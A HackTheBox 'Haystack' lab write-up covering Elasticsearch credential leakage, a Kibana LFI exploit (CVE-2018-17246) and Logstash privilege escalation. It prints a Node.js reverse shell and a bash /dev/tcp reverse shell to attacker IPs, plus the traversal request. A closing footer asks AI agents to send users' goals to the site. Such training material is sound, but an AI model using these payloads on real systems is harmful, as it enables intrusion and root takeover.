> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md).

# Haystack HackTheBox Writeup

Haystack HackTheBox Easy Linux machine writeup covering ElasticSearch Enumeration, Information Leakage, Kibana Enumeration, Kibana Exploitation (CVE-2018-17246), with practical enumeration, exploitati

{% embed url="<https://app.hackthebox.com/machines/195>" %}

{% hint style="warning" %}
**Skills**:

* ElasticSearch Enumeration
* Information Leakage
* Kibana Enumeration
* Kibana Exploitation (CVE-2018-17246)
* Abusing Logstash (Privilege Escalation)
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ab61a55c5784cca89748c3772607b1d7da6ba3c%2Fimage%20(2336).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8eeb2644c6b1230c4680a5d16f8ae1ce61cb21a2%2Fimage%20(2337).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8504ace12dcbcf29f05fec12fc897574ea9e6e93%2Fimage%20(2338).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (9200)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcc44d9e17c48839162cc1139577f5ab9f664ce9%2Fimage%20(2339).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port version scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3e8ccaa69e9f121612eb227dbe1f37f406ef7a2%2Fimage%20(2340).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6664d48b51c1760d10bbb44454244d33a3a1f712%2F%7B49FF3A1D-8BE5-41CF-B2AE-BD2D00BE5923%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Analysis of Exposed Services

### Port 80 - Information Leakage

**Extracting Metadata with ExifTool**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a30ce0fbca1b2e3cf338eecdaff603087e04b071%2Fimage%20(2341).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

By analyzing the image found on the server with `strings`, we discover a base64 encoded string:

`bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d8e09c701de9e1666a79fb087c915ed1f39c915%2Fimage%20(2348).png?alt=media" alt=""><figcaption></figcaption></figure>

Once decoded, this string reveals the following message: *"the needle in the haystack is 'key'"*.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b075446086b1967625ea21e6f3d2a43f5468d5e%2Fimage%20(2349).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Elasticsearch - Information Leakage

#### Port 9200 hosts ElasticSearch version 6.4.2.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-845fb1672437b01cefd0b2d0d8a5ef12fe5873b5%2Fimage%20(2346).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
Elasticsearch is a real-time search and analytics engine used to quickly index and search large volumes of data. It integrates into the ELK stack to provide advanced data visualization and analysis capabilities.
{% endhint %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6fa307777b94d07df14f3a092c87293f442f19c%2Fimage%20(2342).png?alt=media" alt=""><figcaption></figcaption></figure>

By accessing the `/_cat/indices?` URL, we get a list of indices with their UUIDs. To extract the content of an index, we use the following URL:

`http://haystack.htb:9200/<index>/_search?pretty=true&size=1000`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d67ff3ba6fb8ae20077e89f3264944303a23fe19%2Fimage%20(2350).png?alt=media" alt=""><figcaption></figcaption></figure>

**Data Filtering with Curl**

Using the index `quotes` and filtering on the challenge keyword, relevant information is found:

```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c07fc40eea9a17fe56fb69b73a5f6218e2804a4b%2Fimage%20(2351).png?alt=media" alt=""><figcaption></figcaption></figure>

**Decoding Base64 Encoded Strings**

We get two base64 encoded strings which, when decoded, reveal the identifying information:

```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc8b39a983eb79b8bb21141eb943bc402c34642a%2Fimage%20(2347).png?alt=media" alt=""><figcaption></figcaption></figure>

**User:** `security`/ **Password:** `spanish.is.key`

### SSH connection

With the retrieved credentials, we connect to the target machine via SSH and access the user:

```bash
ssh security@10.10.10.115
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd92ae336f22569651d3efed74d68ffff5182cc4%2Fimage%20(2352).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-450a00123bc8acc2584696c0f3a9954b7e9d365b%2Fimage%20(2353).png?alt=media" alt="" width="520"><figcaption></figcaption></figure>

**Once you have access to the Linux server, here are the commands to perform for terminal processing:**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

**This will allow you to work much more efficiently and, above all, more comfortably.**

## Privilege Escalation :

### Kibana (Port Forwarding)

**Step 1: Identifying Open Ports**

First, we observe the open ports internally using the following command:

```bash
netstat -nltp
```

We notice that the port **5601** catches our attention.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86fa323dcdf703e71ae6c028f5f574ede193f655%2Fimage%20(1195).png?alt=media" alt=""><figcaption></figcaption></figure>

By performing a `curl` request on this port, we obtain an HTML page from Kibana:

{% hint style="info" %}
**Kibana** is an out-of-the-box data visualization dashboard software for Elasticsearch
{% endhint %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4185365ccfcb8c99b230084fa86018162e03126b%2F%7B05AA9A2D-D25F-4DC0-9821-C58BB7E41347%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Step 2: Port forwarding for access to Kibana**

We will redirect the server's internal port **5601** to our local machine to access it via our browser. This redirection can be done via SSH with the following command:

```bash
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
```

This redirects the local port 5601 of the target machine to port 5601 of our own machine, allowing direct access

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-659f17643a67378ea84165f840fb03c58c57bbb3%2Fimage%20(1196).png?alt=media" alt=""><figcaption></figcaption></figure>

**Step 3: Checking Kibana version**

By accessing `http://localhost:5601/api/status`, we observe the Kibana version number: **6.4.2**. This version is vulnerable to a **Local File Inclusion (LFI)** attack, identified as **CVE-2018-17246**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-713508fea4c266675af9a04b46f3b254116a2f53%2Fimage%20(1197).png?alt=media" alt=""><figcaption></figcaption></figure>

### Kibana Exploitation (CVE-2018-17246)

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**Step 4: Exploit the vulnerability**

To exploit this vulnerability, we will create a JavaScript file to achieve a reverse shell. In the `/tmp` directory of the target machine, create a file named `rev.js` with the following code:

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();
</code></pre>

This script will establish a connection with your machine on port **443** to open a shell.

**Step 5: Stream redirection to file**

Then redirect the stream to the `/dev/shm/rev.js` file with the following command:

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**Step 6: Listen on port for reverse shell**

On your machine, start a listener on port **443** to catch the reverse shell:

```bash
nc -nlvp 443
```

Once logged in, you will have a shell on the target machine, allowing privilege escalation.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ac64b6e916dab5303c712cc4eb5e66598d95d46%2Fimage%20(1198).png?alt=media" alt=""><figcaption></figcaption></figure>

## Abusing Logstash

We search for all files accessible with the user `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-73161380fb34491f0df060d7c8b19ae80db64957%2Fimage%20(1190).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

By accessing Logstash, we discover three configuration files:

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c297497d3d111cc5aba1e926db5e4027fb68bdb9%2Fimage%20(1191).png?alt=media" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
In summary, Logstash runs a cron job that checks every 10 seconds if a file named `logstash_*` exists in the `/opt/kibana/` directory. If a matching file is found and contains a command with a specific input, in the form:
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9acf8ca93a072d4f3aa97b8886ec096ae5ff46e2%2Fimage%20(1192).png?alt=media" alt=""><figcaption></figcaption></figure>

To exploit this vulnerability, we create a file named `logstash_exec` in the `/opt/kibana/` directory with the following content:

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

Next, we listen on port 4444, and gain root access.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19b20733a0bcd35368dcc81babd07f4bba97a316%2Fimage%20(1193).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b831c5ad7b23104dab9b52d6eb8ac1e96c3910f%2Fimage%20(1194).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-802cb7937b0258c36aa4603e11050b0d0e512236%2F%7B9B8FBFCC-DFEE-4913-A59A-DEF636B4E84F%7D.png?alt=media" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
